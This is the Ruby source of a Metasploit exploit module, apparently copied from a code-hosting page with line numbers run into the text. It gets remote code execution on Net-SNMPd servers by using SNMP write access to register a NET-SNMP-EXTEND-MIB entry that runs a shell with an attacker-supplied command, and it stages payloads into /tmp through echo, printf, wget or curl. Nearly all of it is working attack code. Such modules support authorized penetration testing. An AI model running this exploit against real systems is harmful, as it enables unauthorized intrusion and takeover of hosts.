Path: blob/master/modules/exploits/linux/snmp/net_snmpd_rw_access.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'snmp'67class MetasploitModule < Msf::Exploit::Remote8Rank = NormalRanking910include Msf::Exploit::Remote::SNMPClient11include Msf::Exploit::CmdStager1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution',18'Description' => %q{19This exploit module exploits the SNMP write access configuration ability of SNMP-EXTEND-MIB to20configure MIB extensions and lead to remote code execution.21},22'License' => MSF_LICENSE,23'Author' => ['Steve Embling at InteliSecure'],24'References' => [25[ 'URL', 'http://net-snmp.sourceforge.net/docs/mibs/NET-SNMP-EXTEND-MIB.txt'],26[ 'URL', 'https://medium.com/rangeforce/snmp-arbitrary-command-execution-19a6088c888e'],27[ 'URL', 'https://digi.ninja/blog/snmp_to_shell.php'],28[ 'URL', 'https://sourceforge.net/p/net-snmp/mailman/message/15735617/']29],30'Payload' => {31'Space' => 409632# note space above is not a hard limit and can be increased if required33# 'BadChars' => "\x00"34},35'Targets' => [36[37'Linux x86', {38'Arch' => ARCH_X86,39'Platform' => 'linux',40'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]41}42],43[44'Linux x64', {45'Arch' => ARCH_X64,46'Platform' => 'linux',47'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]48}49]50],51# Not tested on other platforms but confirmed the above works.52'DisclosureDate' => '2004-05-10',53'DefaultTarget' => 0,54'Notes' => {55'Reliability' => UNKNOWN_RELIABILITY,56'Stability' => UNKNOWN_STABILITY,57'SideEffects' => UNKNOWN_SIDE_EFFECTS58}59)60)61register_options(62[63OptString.new('FILEPATH', [true, 'file path to write to ', '/tmp']),64OptString.new('CHUNKSIZE', [true, 'Maximum bytes of payload to write at once ', 200]),65OptString.new('SHELL', [true, 'Shell to call with -c argument', '/bin/bash'])66]67)68end6970# The exploit method connects and sets:71# NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4)72# NET-SNMP-EXTEND-MIB::nsExtendCommand."tmp" = STRING: /path/to/executable73# NET-SNMP-EXTEND-MIB::nsExtendArgs."tmp" = STRING: arguments74def execute_command(cmd, opts = {})75oid_1 = '1.3.6.1.4.1.8072.1.3.2.2.1.21.3.116.109.112'76oid_1_value = 477oid_2 = '1.3.6.1.4.1.8072.1.3.2.2.1.2.3.116.109.112'78oid_2_value = datastore['SHELL']79oid_3 = '1.3.6.1.4.1.8072.1.3.2.2.1.3.3.116.109.112'80oid_4 = '1.3.6.1.4.1.8072.1.3.2.4.1.2.3.116.109.112.1'8182comm = datastore['COMMUNITY']8384cmd = cmd.shellescape unless flavor == :bourne8586oid_3_value = "-c \"#{cmd}\""8788vprint_status(oid_3_value)89SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|90# vprint_status(manager.get_value("sysDescr.0"))91varbind1 = SNMP::VarBind.new(oid_1, SNMP::Integer.new(oid_1_value))92varbind2 = SNMP::VarBind.new(oid_2, SNMP::OctetString.new(oid_2_value))93varbind3 = SNMP::VarBind.new(oid_3, SNMP::OctetString.new(oid_3_value))94resp = manager.set([varbind1, varbind2, varbind3])95vprint_status(manager.get_value(oid_4).to_s)96end97# Hit same again, first rewrite appears to remove the MIB, the next reinstates it.98SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|99varbind1 = SNMP::VarBind.new(oid_1, SNMP::Integer.new(oid_1_value))100varbind2 = SNMP::VarBind.new(oid_2, SNMP::OctetString.new(oid_2_value))101varbind3 = SNMP::VarBind.new(oid_3, SNMP::OctetString.new(oid_3_value))102begin103resp = manager.set([varbind1, varbind2, varbind3])104vprint_status(manager.get_value(oid_4).to_s)105rescue SNMP::RequestTimeout106print_good("SNMP request timeout (this is promising).")107end108end109end110111def exploit112execute_cmdstager(linemax: datastore['CHUNKSIZE'].to_i, :temp => datastore['FILEPATH'])113end114end115116117